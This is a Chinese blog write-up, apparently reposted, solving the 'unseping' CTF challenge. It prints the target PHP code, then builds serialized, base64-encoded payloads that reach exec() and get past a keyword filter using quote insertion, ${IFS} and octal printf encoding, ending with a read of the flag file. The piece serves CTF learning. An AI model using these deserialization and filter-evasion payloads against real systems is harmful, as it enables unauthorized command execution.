• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

攻防世界新手练习区——unseping

武飞扬头像
Redemption8
帮助3

目录

知识点

解读题目源码:

 命令绕过


知识点

  • PHP代码审计
  • PHP序列化和反序列化
  • PHP中魔术方法
  • 命令执行绕过方式

解读题目源码:

这道题首先一上来就是一段PHP代码,其中看到unserialize()就知道考的是反序列化,但是我们再往上看代码会发现还有命令执行绕过的知识点。做出这道题的第一步就是能够理清代码执行顺序和各个函数的功能。接下来我们先分析一下源码。

  1.  
    <?php
  2.  
    highlight_file(__FILE__);
  3.  
     
  4.  
    class ease{
  5.  
     
  6.  
    private $method;
  7.  
    private $args;
  8.  
    function __construct($method, $args) {
  9.  
    $this->method = $method;
  10.  
    $this->args = $args;
  11.  
    }
  12.  
     
  13.  
    function __destruct(){
  14.  
    if (in_array($this->method, array("ping"))) {
  15.  
    call_user_func_array(array($this, $this->method), $this->args);
  16.  
    }
  17.  
    }
  18.  
     
  19.  
    function ping($ip){
  20.  
    exec($ip, $result);
  21.  
    var_dump($result);
  22.  
    }
  23.  
     
  24.  
    function waf($str){
  25.  
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
  26.  
    return $str;
  27.  
    } else {
  28.  
    echo "don't hack";
  29.  
    }
  30.  
    }
  31.  
     
  32.  
    function __wakeup(){
  33.  
    foreach($this->args as $k => $v) {
  34.  
    $this->args[$k] = $this->waf($v);
  35.  
    }
  36.  
    }
  37.  
    }
  38.  
     
  39.  
    $ctf=@$_POST['ctf'];
  40.  
    @unserialize(base64_decode($ctf));
  41.  
    ?>
学新通
  • __construct():这是一个构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法。
  • __destruct():这是一个析构函数,在对象的所有引用被删除或者当对象被显示销毁执行的魔术方法。注意:在实例化对象后,代码运行完全销毁,会触发析构函数__destruct();反序列化得到的是对象,用完之后会销毁,触发析构函数。这道题中发序列化之后就会触发析构函数
  • in_array()函数:

学新通

  • call_user_func_array()函数:

学新通

  •  exec()函数

学新通

  •  var_dump():用于输出变量的详细信息,包括值和类型等
  • preg_match_all():用于执行一个全局正则表达式匹配

学新通

  •  __wakeup()函数:

    unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup()方法,预先准备对象需要的资源。

    预先准对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

  • foreach()函数:

学新通

 执行顺序:

  1. 以POST方式提交ctf
  2. 对提交的值进行base64解码
  3. 进行反序列化
  4. 然后执行__wakeup()函数
  5. 执行析构函数_destruct()

能够看懂代码之后我们就可以开始进行尝试。由于我们是需要查看当前目录,寻找一下是否有flag的文件提示,但是有一个waf函数进行过滤,所以我们不能直接传参为ls。这就需要我们的命令执行绕过方式了。

我们可以检验上面我们的思路是否正确。

  1.  
    <?php
  2.  
    class ease{
  3.  
     
  4.  
    private $method;
  5.  
    private $args;
  6.  
    function __construct($method, $args) {
  7.  
    $this->method = $method;
  8.  
    $this->args = $args;
  9.  
    }
  10.  
     
  11.  
    }
  12.  
     
  13.  
    $o=new ease("ping",array("ifconfig"));
  14.  
    $s = serialize($o);
  15.  
    echo base64_encode($s);
  16.  
    ?>
学新通

将上述代码结果以post形式提交进去。

学新通

这时候我们发现页面返回了结果:

学新通

这就说明我们整体思路是没有问题的,直接使用命令绕过方法寻找Flag。

 命令绕过

上面检验命令是可以执行的,我们接下来思路就放在命令执行绕过过滤即可,寻找flag线索。

  • 单引号
  • 双引号
  • ${Z}

学新通

  1.  
    <?php
  2.  
    class ease{
  3.  
     
  4.  
    private $method;
  5.  
    private $args;
  6.  
    function __construct($method, $args) {
  7.  
    $this->method = $method;
  8.  
    $this->args = $args;
  9.  
    }
  10.  
     
  11.  
    }
  12.  
     
  13.  
    $o=new ease("ping",array('l""s'));
  14.  
    $s = serialize($o);
  15.  
    echo base64_encode($s);
  16.  
    ?>
学新通

 将上述结果提交。

学新通

看到了"flag_1s_here”文件夹,于是我们查看一下该文件夹下目录;于是执行命令"ls flag_1s_here";此处空格用${IFS}绕过。 

  1.  
    <?php
  2.  
    class ease{
  3.  
     
  4.  
    private $method;
  5.  
    private $args;
  6.  
    function __construct($method, $args) {
  7.  
    $this->method = $method;
  8.  
    $this->args = $args;
  9.  
    }
  10.  
     
  11.  
    }
  12.  
     
  13.  
    $o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
  14.  
    $s = serialize($o);
  15.  
    echo base64_encode($s);
  16.  
    ?>
学新通

学新通

于是我们通过命令查看该文件;命令cat flag_1s_here/flag_831b69012c67b35f.php。

/绕过方式:利用oct编码(八进制)绕过;$(printf "\154\163")//ls命令

通过python脚本实现oct绕过:

  1.  
    str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
  2.  
    arr = []
  3.  
    for i in str1:
  4.  
    #对字符先转换为ASCII码,再转换为八进制
  5.  
    r = oct(ord(i))
  6.  
    #这个主要是为了将八进制前面的0o替换掉
  7.  
    r=str(r).replace("0o","")
  8.  
    arr.append(r)
  9.  
    s = "\\"
  10.  
    # print(arr)
  11.  
    #将所有的八进制组合,最终的结果第一个地方应该再添加一个\
  12.  
    p=s.join(arr)
  13.  
    print(p)

将其结果带入命令那执行,代码如下:

  1.  
    <?php
  2.  
    class ease{
  3.  
     
  4.  
    private $method;
  5.  
    private $args;
  6.  
    function __construct($method, $args) {
  7.  
    $this->method = $method;
  8.  
    $this->args = $args;
  9.  
    }
  10.  
     
  11.  
    }
  12.  
    $o=new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
  13.  
    $s = serialize($o);
  14.  
     
  15.  
    echo base64_encode($s);
  16.  
    ?>
学新通

代入显示Flag:

学新通

 

本篇文章来至:学新通

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通
  • 本文地址: https://www.swvq.com/boutique/detail/tanhcjahha
  • 联系方式: luke.wu#vfv.cc
系列文章
更多 icon
同类精品
更多 icon
我要评论
我的头像
精彩评论
继续加载